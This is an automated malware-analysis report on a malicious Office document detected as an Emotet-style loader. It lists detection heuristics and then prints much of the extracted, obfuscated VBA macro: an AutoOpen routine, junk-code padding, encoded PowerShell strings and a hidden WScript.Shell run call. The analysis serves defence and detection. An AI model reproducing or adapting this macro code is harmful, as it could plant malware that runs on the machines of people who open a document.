MALICIOUS
330
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of AutoOpen macros, Shell() calls, WScript.Shell usage, and CreateObject calls. These elements strongly suggest the macro's intent is to execute arbitrary code, likely to download and run a second-stage payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.
Heuristics 11
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
End Select kOFbkuMYRrHtmY = "WScript.Shell" Select Case wjrhz -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
End Select CreateObject(kOFbkuMYRrHtmY).Run EXoJOjZB + Chr(VBA.vbKeyC) + nMTlfdXslCG + LfjucBzkIEBEq + BazsTiLkkrXNo, vbHide Select Case EUEPq -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "pbuzqzSSsK" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 63027 bytes |
SHA-256: 7be6910aa74ef7d82bf3619f43b82d98069a2ebc10f47b05708e082b10f470cc |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
781 of 1301 identifiers look randomly generated (e.g. 't60DoWpT5uIn54aGviLXzHw1C') — consistent with name-mangling obfuscation. Carved artifact contains 18 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "rBiTORpX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "mSPilKLIsABV"
Function JZPmOazuSTVBfN()
On Error Resume Next
Select Case qYtMCc
Case 14370
uwDvOj = ChrB(MXEuR)
zWJBn = dbrzkF
Case 28099
AGKVW = Rnd(UEHmWE)
WbJvf = Cos(tqBjLO)
End Select
PQLYs = FThdVO("hvGA1AgYAYGA1AAZAkDA3AQZAEGA2AwNAgDA4AAMAgDA1AgYAQDAjBAMAUDAiBANAUDA4AwMAgDA5AwNAIDAwAgMAUDA1AgNAQGA1AQYAYDA3AgYAYDAhBwMAcDAyAgNAUDA5AgZAgDAlBgYAMDA5AwYAIDA4AwMAIGAxAwNAEDA4AQMAUDAmBAOAESW8Wp", 6 + 0, 184 + 0)
Select Case dNDwSp
Case 99051
EGNiX = ChrB(ivPXfj)
HziCFR = czWwG
Case 82015
HBIUj = Rnd(zSVvN)
CKvlL = Cos(fzWNVw)
End Select
Select Case rEDXsb
Case 63116
ClZjzL = ChrB(FrzIDX)
lklWC = lMqzkG
Case 82355
ErQrZH = Rnd(KbHAV)
oEruY = Cos(dTSlW)
End Select
rTnWdicuq = FThdVO("O1vqKOAcDA5AAZAgDAlBwYAIDA3AAOAYDAiB4@q", 4 + 0, 31 + 0)
Select Case twpvZ
Case 92933
UTBAjR = ChrB(QsbIiV)
WwHwFM = NKlFt
Case 34225
JjOBKI = Rnd(znEHc)
nlsJHA = Cos(XBhwUk)
End Select
Select Case BmZLFO
Case 15210
TMpIv = ChrB(wjOUC)
jMmdu = XPHljr
Case 89896
iEPksL = Rnd(ktjjjw)
lBiEzT = Cos(ozvQL)
End Select
sVrhQq = FThdVO(".J@S6AcDA5AgNAkDA1AAOAUGAlBgNAgDA4AQOAUGA1AAZAQGAzAwNAgDAyAQOAcDAxAQYAUDA5AwYAIDA1AwYAMDAiBAZAEGA1AgNAgDAxAANAQGA2AQMAUGAlBgNAQDAkBgNAEDA2AgMAQGAwAAMAUDAkBgM.h", 3 + 0, 152 + 0)
Select Case sHhjzO
Case 14267
tUdcrT = ChrB(TFtKuw)
FHbuak = ETUjUr
Case 55178
AlVrs = Rnd(jBbFAH)
uCFQu = Cos(BaEDn)
End Select
Select Case BpIVU
Case 97041
iBwQp = ChrB(VZdXu)
zkZuod = Jcorj
Case 12376
HLFOIQ = Rnd(dPzuHU)
lKZMz = Cos(UWcuU)
End Select
VCSKXTvaElf = FThdVO("tvLOKkFteg.]LahSrAm.SecIVrE5uIn54aPoREtNi.EMitNUR[(::]LAhSrAm.SeCIVReSPoreTni.EMitNUr[(j,", 3 + 0, 74 + 0)
Select Case zpZuJO
Case 18497
NKTPO = ChrB(CVVcAj)
TXSPf = qQkjLu
Case 32351
GDVoj = Rnd(QqbrJw)
OzBAu = Cos(jiRHii)
End Select
Select Case BJkhWr
Case 2998
nUPQMk = ChrB(EVIrZl)
MKsiHB = oZoIS
Case 29664
mLVzNY = Rnd(mGsQhP)
rmAru = Cos(zZpnj)
End Select
rArlUU = FThdVO("Uj4HDAmBQNAcDAhBQOAMGA2AwMAYGAzAANAcDAkBAMAQDAlBgZAYDAkBQZAEGAxAAOAQDAmBwYAADAiBAZAQGAlBAMAUGAkBQYAMDAkBwMAcDAzAQNAcDAzAQMAYGAiBgNAQDAzAgZAEGA2AQYAQGA3AQYAAcf2", 5 + 0, 151 + 0)
Select Case RzubI
Case 89305
GRKnr = ChrB(MMaEz)
ZlNwn = RXGkNV
Case 64719
NGjsf = Rnd(WMJujz)
ihwXV = Cos(VKOECH)
End Select
Select Case rYwGm
Case 17024
RsRhp = ChrB(siiiA)
dYRrO = iiwHN
Case 50447
uQNkO = Rnd(HMplI)
AjbVJw = Cos(slfqaj)
End Select
swUoBpcASEM = FThdVO("jaBLF60AQMAUDA5AAMAUGAyAQNAIGA4AwYAQDAmBQMAEDAkBQYAUDA3AwNAMGAzAwYAgDA4AwMAQGAiBQNAMDA2AQNAUGA0AwYAMDA3AQYAIDA1AQYAUGA5AgYAUGAmBAZAcDAiBwYAYGAkBwNAEGA3AQNAQDA4AAMAEGAzAQZAMGA1AQOAcDAyAQNAYDAyAwNAcDAzAANAQu6", 3 + 0, 198 + 0)
Select Case DIaNKi
Case 83033
vDfuP = ChrB(tznmIL)
WCMpI = hbOZm
Case 6747
wzmbbi = Rnd(flYqOi)
zlrES = Cos(ShFNY)
End Select
Select Case CancR
Case 83650
jkfURj = ChrB(zjCkw)
ZOjJFk = JiFmR
Case 88617
vAEzl = Rnd(jsYoz)
IDlZpL = Cos(uwntdW)
End Select
MHCNNOza = FThdVO("5GaZDA3AwNAICXj", 4 + 0, 8 + 0)
Select Case USzisC
Case 44603
JwcDz = ChrB(HhqrMV)
SYJQbi = UHGacD
Case 93870
utvuM = Rnd(umwmME)
RzBQAF = Cos(uoORU)
End Select
Select Case zFUXK
Case 98846
kaRKf = ChrB(cidNzI)
MTkRw = nGVtwS
Case 17688
DlqRh = Rnd(jNWVQA)
pJrRh = Cos(OFfVCY)
End Select
tcErwmdAJ = FThdVO("5uIn54amGAzAQNAYGA2AwYAQDAhBQYAcDA0AQMAADA4AgNAkDA2AwNAYDAhBQOAQDAwAwYAMGA0AAZAIGA3AQZAEGAyAgMAkDAkBQNAIDAyAAOAIGA3AANAQGAxAAMAMDAmBQOAgDAxAAMAIGA1AwNAgDA02o5h", 5 + 0, 147 + 0)
Select Case LDPhVr
Case 42693
ZwnvSV = ChrB(wwOBw)
wzdcO = uLXPos
Case 7443
cwoAZi = Rnd(QMEVPM)
GjGAaT = Cos(GlEGG)
End Select
Select Case zMROL
Case 60652
ABmnjc = ChrB(AHthW)
cTDXPp = MRqJG
Case 59374
QBGzZ = Rnd(zWllja)
aTwbHd = Cos(ZiJtw)
End Select
CHFbRYsVjO = FThdVO("XY%@XD3AAZAYGA1AwNAcDAhBAOAIDAiBgYAADA4AAOAcDAxAgMAEDAiBQNAADAzAQOAIGA5AgNAUGAlBgNAcDAmBANAUDAyAgMAkDAkBgYAYDz", 2 + 0, 103 + 0)
Select Case PViKc
Case 63012
EzwBv = ChrB(XpFhR)
pBqtUP = dOwlr
Case 25635
EjcobI = Rnd(VkcUv)
zGaTwr = Cos(IUYcO)
End Select
Select Case wHFad
Case 97837
wCjzw = ChrB(TKScEu)
iicqz = PHSzR
Case 28014
YNQacw = Rnd(ofDnc)
GGQbL = Cos(CClUiO)
End Select
nuJTHQL = FThdVO("8tzz@UCe5uIn54a-oTtREvNOc|'==AA0AwNAIDA5AQNAEGAmBQZAcDAiBwYAUD@", 2 + 0, 51 + 0)
Select Case TjKfCO
Case 71612
MGtsA = ChrB(WTzbp)
iDJqr = kMqmtl
Case 21946
coiAB = Rnd(rOuAX)
LYfjms = Cos(AsQaUn)
End Select
Select Case ESoWD
Case 11216
TiMNh = ChrB(hlFzJ)
BdZwuZ = jVZiQ
Case 312
CYESuz = Rnd(UwKsM)
noFNVV = Cos(lsfWu)
End Select
sYprJvac = FThdVO("%NYkCjBQYAUGAmBAOAkDA1AQNAEGAzAQYAYGA1AwNAYDAmBQOAcDA4AQYAUDAkBQZAMDA0AgNAgDAmBQOAADAwAQOAcDAkBANAYGAwAQZAgDA1AQYAgDAkBAOAQGA5Ad", 2 + 0, 122 + 0)
Select Case zYvtDw
Case 24845
VIjmC = ChrB(IhfOE)
tQsQMI = utKtiY
Case 94612
AYEHwz = Rnd(SfYaSJ)
ENQSMD = Cos(jfjuBR)
End Select
Select Case crJtK
Case 36558
iFdzE = ChrB(HiOCtd)
KAtzjj = zisuY
Case 47881
bZKZD = Rnd(aTGXp)
anhls = Cos(RVOczJ)
End Select
rFFMpjJTWk = FThdVO("V@vRRrvAAZAIGAyAQMAADA5AAMAMDAxAgYAEDA0AwYAYDAhBAOAkDAxAgNAIGAiBwYAADAmBQOAcDAxAgZAUDA4AAMAQGA4AQZAIGAwAQOAYGAhBQNAUDAiBwFL", 3 + 0, 114 + 0)
Select Case bEIDN
Case 67025
fGfFDd = ChrB(KUruWK)
IaQsz = GDHzbA
Case 23010
PSPtoO = Rnd(UHbhPH)
AXhbw = Cos(SdsLNm)
End Select
Select Case Rrqflz
Case 73649
olGzR = ChrB(aVDCGY)
JOUcBm = WZKPz
Case 33298
TNVrz = Rnd(UYbWCf)
jHTTYd = Cos(IdVDk)
End Select
shZTMtd = FThdVO("rjwpACBwSA5uIn54aEA1BgbAkDASBgeAcGAvBQWAAFA8BgM5435a05061b314GBnM", 5 + 0, 50 + 0)
Select Case jhPbr
Case 98341
PGHhKH = ChrB(KkmzZV)
TPFqq = LFpsR
Case 13112
zmJAiD = Rnd(MczmIR)
vYqYdP = Cos(QSKkA)
End Select
Select Case dbmsku
Case 27551
RhKQHM = ChrB(hSYto)
sRpTUh = McJtY
Case 88873
AHftX = Rnd(wvwznV)
mNiWl = Cos(DkJwZQ)
End Select
AmtjhjbbN = FThdVO("raritCAmBwMAYDA1AQMAQDAhBgMAMDA1AAMAQDAhPTX", 4 + 0, 34 + 0)
Select Case zToYQ
Case 85419
nCZnf = ChrB(HzwTs)
wXizzm = hqoqL
Case 11562
LjcHaj = Rnd(IWkorr)
iGoqD = Cos(SoTUql)
End Select
Select Case GnnwBD
Case 31176
ijszj = ChrB(IYAZOT)
zREZat = HZKCX
Case 75408
cXmwGq = Rnd(JEOLr)
icCDH = Cos(HJVjZ)
End Select
jjjdBkjF = FThdVO("NVtUnfuAQDAlBQMAUDAwAwNAEGAlBQNAYGAhBgNAgDAkBwYAMDA1AQZAUGAyAgZAYGA5AANAEGAkBANAgDAkBQYAIDAiBANAgDAY", 2 + 0, 92 + 0)
Select Case JLzIYp
Case 53721
QfBOcH = ChrB(YnMpOi)
ZfXHvG = ZHnNVz
Case 58268
AjZjw = Rnd(waoazn)
VJuLsV = Cos(RlQtVO)
End Select
Select Case TOVUG
Case 65689
MjhLSM = ChrB(sppGha)
OuRHT = WHVrY
Case 97787
IGcIb = Rnd(PLjCD)
oDwFYz = Cos(sLETEM)
End Select
qTnzdYSb = FThdVO("3jluIGAzAQNAQGAiBgZAQDAwAgZAYDA1AgMAkDAwAgYAEGAiBANAkDAiBQYAkDA3AwYAYDAzAwYAYGA2AwMAIGAkBwMAUGAjBQYAUGA2AgMAEDAjBAZAgDA0AwMAQDA0AgNAgDAjBQOAMGA1AgMAgDA5AAOAgDAmBgYAkDA3AQMAUDA5AQZAADAjBwMAYtLWRp", 6 + 0, 185 + 0)
Select Case ZREKpn
Case 37819
qmNjfI = ChrB(wisNa)
FXBzsb = EDmXv
Case 76512
wHZNQO = Rnd(NLrrUo)
MZbrmJ = Cos(uCMwM)
End Select
Select Case BWJOm
Case 65576
EVLHs = ChrB(LASXsi)
AOhci = PmJil
Case 10047
QoczaW = Rnd(GYmckW)
AkzcP = Cos(jHmoj)
End Select
kHmPoQnM = FThdVO(",Gu,07,351,14,47,1,47,051,152,31,771,381,881,31,842,651,7,011,74,822,72,361,19,591 YeK- gNiRT5uIn54aERD1X", 4 + 0, 94 + 0)
Select Case mSUvma
Case 4026
OWYSw = ChrB(kIcbF)
MlPBJG = ivIBn
Case 36629
jblczB = Rnd(GBdMhf)
mYfKjp = Cos(BDSmj)
End Select
Select Case WSVwHZ
Case 95057
QHpiM = ChrB(soSdw)
ACtzX = Ynudn
Case 31670
JDEbj = Rnd(FXRnc)
iwjAf = Cos(AQjwU)
End Select
silhkEhv = FThdVO("qEAxAAOAkDA0AwMAMGAiBgMAQGAjBAMAQDA2AwNAEDA4AgMAcDAzAwYAQGAlBgZAQDA3AAZAEGA2AwYAcDAiBAOAIGAiBwYAMDAmBQOAgDAlBwMAMGAkBQZAQDA5AQZAMDA2AwYAMGA1AwNAIDAz5uIn54aZ8z85uIn54a", 7 + 0, 146 + 0)
Select Case YZiBK
Case 31809
TZMDSn = ChrB(mGqoi)
Rjsco = PHmzlM
Case 67286
DHoENB = Rnd(IoRtQ)
RjuZr = Cos(GHojF)
End Select
Select Case jilhqS
Case 80112
QlcQk = ChrB(VUMErw)
nQHIZ = Mwsvf
Case 99448
SOUozj = Rnd(mYNFc)
HZkXo = Cos(kjtOdY)
End Select
hswCjKdNFRu = FThdVO("V5uIn54aKXlBQYAMDAjBAOAEGAyAQNAUDAzAgZAQDAwAwMAIGA3AQMAUGAQ5uIn54a", 3 + 0, 48 + 0)
Select Case tcWXq
Case 94106
lHGzX = ChrB(LibOD)
jCRmO = GmOSY
Case 438
QjmkPA = Rnd(ILlzT)
zhiCFi = Cos(bsNcp)
End Select
Select Case BcTtI
Case 36687
KiAWzY = ChrB(ScrTKb)
kIzwBq = klKvK
Case 27924
DqNjnL = Rnd(JimOd)
wREspY = Cos(QTWzG)
End Select
flVBz = FThdVO("5uIn54acYuQZAEGA3AgYAIDAyAQMAEGAhBAZAQGAwAANAADAiBAMAkDAiBgNAIGAyAwMAYDA0AgMAQDAjBgZAQGAlBgYAYGAfVh0", 5 + 0, 86 + 0)
Select Case bazqap
Case 20095
OldmWQ = ChrB(aaLhXQ)
SjRFl = MjUPa
Case 21511
jLsLZT = Rnd(ijaGTI)
ptKQi = Cos(XHQYU)
End Select
Select Case XtQiC
Case 24947
dwqNcK = ChrB(kGJvj)
MIwZv = iGzDW
Case 69727
hzRwD = Rnd(RUMJY)
jKijG = Cos(rNjHPw)
End Select
XfviZPZtCih = FThdVO("fPO%YYQZAIDA5AgMAMGA2AwMAMDAlBgYAEGA2AgYAMDAmBQNAcDAzAQOz", 2 + 0, 50 + 0)
Select Case jwipdu
Case 39357
KdGSKF = ChrB(OBzzY)
LvDXs = fWlai
Case 40280
Ucnfj = Rnd(EdZhY)
vtUzf = Cos(QYYXA)
End Select
Select Case Rkkio
Case 13404
lzzcn = ChrB(vLqQDK)
kokuwR = UGIAX
Case 37425
TABRWj = Rnd(sjTGRJ)
cczFIS = Cos(dAphW)
End Select
HRWYFi = FThdVO("i4EFuGAlBQNAQDA3AwNAEDA2AwNAYDAxAAOAgDAmBgMAUDA4AgZAMDAyAQZAMGA1AwYAUGA3AAMAgDAlBAOAIDAyAgNAQDA5AAHXFv", 5 + 0, 93 + 0)
Select Case iirwET
Case 85117
KowjdS = ChrB(EQoiHm)
iJvPBf = AMjAqs
Case 26528
WCwRBR = Rnd(AZizbY)
BDODqA = Cos(BoSMmK)
End Select
Select Case HDZwKN
Case 38944
CmqKOw = ChrB(LwDwqC)
MSqVlw = jABIpB
Case 34913
TXhjl = Rnd(NhOlp)
IhUfEY = Cos(qHGobY)
End Select
WwMvvuTZ = FThdVO("hWNhwP4QNAIDAyAwYAMDA1AAOAcDAzAgMAYGAiBgYAQGAxAQNAIDAzAANAIDA2AgMAkDAhBgZAADAmBgYAYGAhBQYAYDA2AAZAgDAiBAMAUDAkBQMAkDA2AQNAYGAzAgNAQGAlBQOAYGA0AQZAIDAhBgMAEGA5AQZAYGAyAgZAEDAiBwYAMGA0Ut", 3 + 0, 175 + 0)
Select Case VlpBZv
Case 52128
cfQJRR = ChrB(kbjwTn)
jVDRab = MjGIw
Case 85486
sNMuBS = Rnd(oPuHJ)
WfEfEB = Cos(FTwHV)
End Select
Select Case BOXjQM
Case 31351
zPOtJM = ChrB(HUnGG)
WvMhT = SPBYA
Case 43378
LaZYz = Rnd(RWlhK)
qGZKH = Cos(ZwafTK)
End Select
mRkAGGz = FThdVO("G7AYDAwAAZAkDAkBgNAIDAiBQNAYDAhBQZAYDAmBwYAEGAzAANAQGA4AQOAQGA0AgYAgDA3AwMAEDAkBgNAIDAyAANAIGAxAgYAcDAyAQYAQGAxAAOAkDAyAQNAYQNztlp", 7 + 0, 122 + 0)
Select Case wAwjwr
Case 28172
wBwhw = ChrB(ipDkNB)
cGsFt = aYmjHP
Case 48661
WTppq = Rnd(muEbcL)
qJXuFI = Cos(TuGbCt)
End Select
Select Case FmTCIz
Case 67943
QTMEC = ChrB(AuzOzv)
LrHGro = IiZcwJ
Case 77908
VJQEzk = Rnd(oNsvFR)
VfHIvu = Cos(MwQJHP)
End Select
jOjTbCX = FThdVO(",vDAiBgYAgDAwAQMAMGAmBgNAIGAlBgNAADAyAgYAUGAxAAMAMDAhBgNAgDAlBAZAYDAzAgNAEGAjBgMAQGAwAAMAkDA3AAOAIDAzAQYAADA1AQYAQGAyAAMAUDAyAwNAEGA1AgMAIGA5AQNAADAwAQOh4za", 5 + 0, 150 + 0)
Select Case ujFsCC
Case 49466
zvvvcC = ChrB(NvjKWJ)
UqOuCJ = AvsUw
Case 89596
mDCOMi = Rnd(MMzRrS)
VZzscA = Cos(PdIzQ)
End Select
Select Case vUqrco
Case 41327
cttSE = ChrB(kKNZV)
RiAZY = AEKFT
Case 37868
OLSYoM = Rnd(bRBOGt)
tSIZI = Cos(IJNTRT)
End Select
IIKIDu = FThdVO("u5AAMAIDAlBgNAUDA1AQZAEGAwAgYAIGA3AgYAQDA3AANAYGAyAQOAIDAiBQOAMDA5AQMAEGAhBQYAEGAhBAOACFuNzB5uIn54a", 8 + 0, 84 + 0)
Select Case nQqXa
Case 48739
qwSmZN = ChrB(jAjlSi)
HlCjL = ZFzwGV
Case 8498
KaiohJ = Rnd(zAVzu)
ZIjiw = Cos(wjioqP)
End Select
Select Case zzPmiu
Case 24613
tmiia = ChrB(nvPbR)
jzHsP = JzwLn
Case 30381
SjLYw = Rnd(dLAiG)
kzBjM = Cos(dZOwAr)
End Select
lUlkIGmK = FThdVO("DVUWIBgZAUDAjBwMAYGA0AgMAgDA4AANAUDA5AwYAYDAwAwNAkDA0AgZAUDAiBwYAUGAmBN", 2 + 0, 65 + 0)
Select Case WQkPD
Case 64055
OGHSbX = ChrB(CoLiS)
iiPIO = QKpJVi
Case 39264
ZIsvw = Rnd(IviqiH)
bblCNh = Cos(nsBcBR)
End Select
Select Case aGdGB
Case 25493
jpiNp = ChrB(MwKDPB)
bQWNVv = PTWbk
Case 46872
dprWD = Rnd(Wzswt)
HSXzm = Cos(OctJj)
End Select
rBuph = FThdVO("ofd4rAiBAizwB", 5 + 0, 4 + 0)
Select Case lFBEM
Case 37657
cRWjJ = ChrB(hMuUd)
YTwot = WjTWvP
Case 38031
bkzFR = Rnd(ZvQFki)
fFuTI = Cos(lKwnR)
End Select
Select Case CVsXi
Case 58071
NmDSzV = ChrB(jAHBWl)
dJwoG = cPzkn
Case 12153
wjSfA = Rnd(lvYwPr)
DZRlIE = Cos(TYMuj)
End Select
qVOhJ = FThdVO("G35NAEDAlBQMAkDAwAQYAkDAhBwYAIDAwAQOAIDA4AQMAgDAwAAMAMDA1AQMAgDAmBQMAYGA2AQYAElW@N", 5 + 0, 75 + 0)
Select Case HTwmSf
Case 86220
zAibA = ChrB(zGFNiw)
TCwOcj = vXXXwY
Case 42409
wldkz = Rnd(EZjJH)
GMTzL = Cos(znQAYq)
End Select
Select Case kUiDIz
Case 38907
LOLsSR = ChrB(iFraI)
AsqtUC = nkFuth
Case 74832
zUwwBM = Rnd(RBOdtl)
hqPSJ = Cos(boKnzW)
End Select
qjYwR = FThdVO(",OWjZAIGAwAAMAQDA5AgMAcDA0AAZAgDAmBwNAIDA0AgNAUGAhBQMAcDAyAQNAEGAwAgMAgDAlBQOAgDAzAQYAEGA0AgYAEDAyAwYAQGAzAAZAMDA2AwNAADAxAgMAMGAxAAZAQGA4AQNAgDAlBgZAQGAxAgYAYGA2AAOAIGAmBQZAQGA3AgZAEGA4AwYAgDAhBQMAgDAu43Y", 5 + 0, 197 + 0)
Select Case bJQwl
Case 58150
flucGS = ChrB(boirJ)
RCPfb = CEKJJ
Case 1972
MAHlQs = Rnd(Lqwwn)
qMzzf = Cos(oJiZul)
End Select
Select Case FjHfi
Case 95004
YOOPT = ChrB(VIlHm)
BYMZnw = Huauud
Case 74668
CjUOch = Rnd(suhIvq)
nUviU = Cos(ntKTj)
End Select
cCfiDkOtM = FThdVO("k84.3240f3476111d29467'($ (i5uIn54aNAColLalaBolGOtGnIRt5uIn54aErUCE5uIn54a::]LaH5uIn54aRAm.5uIn54aEcIvrE5uIn54apoREtni.EmItNur[ (EkovNI.)eMan.]1[)(5uIn54arEbMEMCw", 3 + 0, 114 + 0)
Select Case pGwUTm
Case 62204
SYRsK = ChrB(RfRri)
qAGFz = JhHJZ
Case 1688
isiuaO = Rnd(OXoPD)
YCnIb = Cos(odHoz)
End Select
Select Case Fudta
Case 93089
fOhbW = ChrB(jlXLA)
ZikjG = qwSRRi
Case 88254
aTasKl = Rnd(ZYsbvm)
FlqMF = Cos(AjULXC)
End Select
hJXRc = FThdVO("L75uIn54auSXeI | ))) )5,802,741,01,821,65,722,781,551pF", 3 + 0, 42 + 0)
Select Case zzNzwh
Case 78175
MKfBPW = ChrB(KrHLE)
tjaEd = jtwPU
Case 14775
iZKud = Rnd(wjsbL)
qJAWc = Cos(LwOET)
End Select
Select Case PdKiF
Case 1052
luRKar = ChrB(EZfOVm)
wjBLFu = DLbjio
Case 16753
XjWUC = Rnd(HSRjcc)
wXBaji = Cos(zJWzG)
End Select
PKLvz = FThdVO("YzAzAgYAcDAmBgZAYGAjBQMAgDAiBQMAcDA1AAZAADAhBwNAMGAlBAOAQGA5AAOAUDAwAgNAQDAzAgYAIGAwAQYAQGAjBANAQGAlBgNAYDA1AQMAIGA5AgYAUGA1AQOAUGA0AgMAYGAwAANAADA3AgZAgDA5AQOAYGAxAgYAMGA0AgNAkDA5AQMAUDA2AgMAkDA5AwNAQwum5uIn54a5uIn54a", 6 + 0, 199 + 0)
Select Case hjpds
Case 5676
jBwsAj = ChrB(qNkbdR)
GnZGwK = WOJWOw
Case 32575
cnrZl = Rnd(vZJaA)
akYvWo = Cos(bvQXt)
End Select
Select Case NEjQUZ
Case 90614
YCPER = ChrB(KRcUN)
czXvQ = NEYAN
Case 84906
pjWpwb = Rnd(tLGkH)
iqTJPO = Cos(mJQjl)
End Select
BzQLUs = FThdVO("HLqLOZA5AQZAYGAxAQZAYDAiBwYAEDAhBQZAQGAzAgMAcDAzAQMAcDAiBgYAUGAmBgYAkDA4AANAYDA5AQNAQGA4AAMAcDAzAAZAIGA@,", 3 + 0, 97 + 0)
Select Case uMqnYp
Case 45688
bcocjs = ChrB(bQqnoc)
WlOkwj = fTqEwj
Case 6121
YhujJ = Rnd(NihjV)
KtZsw = Cos(zpFYn)
End Select
Select Case EZYBSA
Case 82473
cwRWbh = ChrB(IHqUDv)
jspjlJ = CKdCT
Case 53501
SkvXX = Rnd(mCznCA)
jGwszr = Cos(tjMmO)
End Select
vGLZntX = FThdVO("nTQUAwMAIDAxAAZAIDAlBgZAIGA2AQYAQDA2AwMAEDAhBwNAADA1AQYAcDAkBAOAUDA3AANAUGA1AgNAQDAkBQYAQGAzAQNAYDA4AwNAUGAzAAZAUGAhBAOAEDA2AQNAEGAyAQOAYGAmBQZAMGAiBAMAQDA0AQNAQGAiBgMAwHA9AQPAcHAXBAdAYFAxBgdAIHAIBQUA4EAvm", 3 + 0, 199 + 0)
Select Case aannUI
Case 10012
qXvzj = ChrB(CisBd)
jZvMlE = MflXII
Case 81959
MOMTuu = Rnd(tjDuR)
NOoKJ = Cos(AAibBP)
End Select
Select Case FZSpk
Case 47744
TiQVzc = ChrB(Ghizdw)
dRWmzG = DiqZZQ
Case 40267
KRBOO = Rnd(sqHVBh)
mHiOoi = Cos(IwDlSw)
End Select
hKctwAkVMQ = FThdVO("rzlrb1AAOAQDA5AwYAkDA1AQYAYDAkBgYAcDAwAQZAIGAkBgYAIDA1AgNAQGA1AwMAMDA2AAOAkDAlBQYAIDAjBwNAEGA1AAZAkDAyAQOAQDA1AgYAMGAwAAOAgDAhBAOAIGAlBwMAgDAzAgYAXr5", 4 + 0, 141 + 0)
Select Case zavaL
Case 35778
WRwPiz = ChrB(bOQzZN)
XLKki = MOOQvQ
Case 29965
QLvqOw = Rnd(qizGl)
hhmntk = Cos(bOlpcZ)
End Select
Select Case GIBLzS
Case 25183
WRAvh = ChrB(chLBM)
nUOCB = NXEAJt
Case 38675
QlZQDz = Rnd(zFqbU)
CSLiZ = Cos(pFluw)
End Select
lAlYzilzrNv = FThdVO("XlY0ioQGA3AQNAADAzAQNAYGAmBAZAIDAzAQMAgDA4AQYAUDAlBgZAIV6Y", 4 + 0, 49 + 0)
Select Case MFpOV
Case 16460
atCqH = ChrB(zMcpOX)
jYKEsR = afhira
Case 12123
ujjjhV = Rnd(TzcDmc)
MQWWX = Cos(oukVEZ)
End Select
Select Case dzFQok
Case 76924
QqhFq = ChrB(TLMwrl)
YaTsz = zkAKO
Case 84887
kfqwqu = Rnd(iADKt)
oVnWza = Cos(RFXlYp)
End Select
RLifc = FThdVO("qUVGiuqAkDAiBQOAQDAhBQMAUGAzAAOAIGAmBAZAADAjBQZAgDA4AgYAUGj", 2 + 0, 51 + 0)
Select Case okPfSN
Case 18181
nUNIzN = ChrB(XXJwIM)
wiKnvP = IEaBLj
Case 97342
Xrfhzh = Rnd(Jrdjh)
AcZjWK = Cos(lVfRtM)
End Select
Select Case SHnAIR
Case 87015
hKAjz = ChrB(IcVjNi)
uBUKCF = QdViR
Case 36684
wXOOX = Rnd(WPuaCw)
wMIMO = Cos(mXFSq)
End Select
cUDuDcFfonJ = FThdVO("tmtADA4AAZAIDA0AQOpqt", 4 + 0, 14 + 0)
Select Case MrAEo
Case 35403
jpKEH = ChrB(poafH)
IErEEU = TAjis
Case 9169
ILCVK = Rnd(HjSYm)
AuYbM = Cos(wYiAUn)
End Select
Select Case pDcAkL
Case 27970
uitpta = ChrB(IFamr)
nVkHRd = VIEvzY
Case 19408
oCHUJ = Rnd(ZQHziE)
SXfhNA = Cos(hrtTi)
End Select
MCmuGt = FThdVO("N5uIn54aDAiBQZAADAhBANAgDAxW@uI5uIn54a", 6 + 0, 19 + 0)
Select Case clZwrV
Case 30813
TDSRh = ChrB(OFdJm)
wCkZN = XIizJo
Case 73318
wnqJG = Rnd(ojwUN)
finbO = Cos(jJlZAA)
End Select
Select Case cNhlHp
Case 78026
FCVDCA = ChrB(vGtppI)
hCJZn = blXKu
Case 91281
ZVTff = Rnd(ZQBzul)
HJLJT = Cos(jPjfbi)
End Select
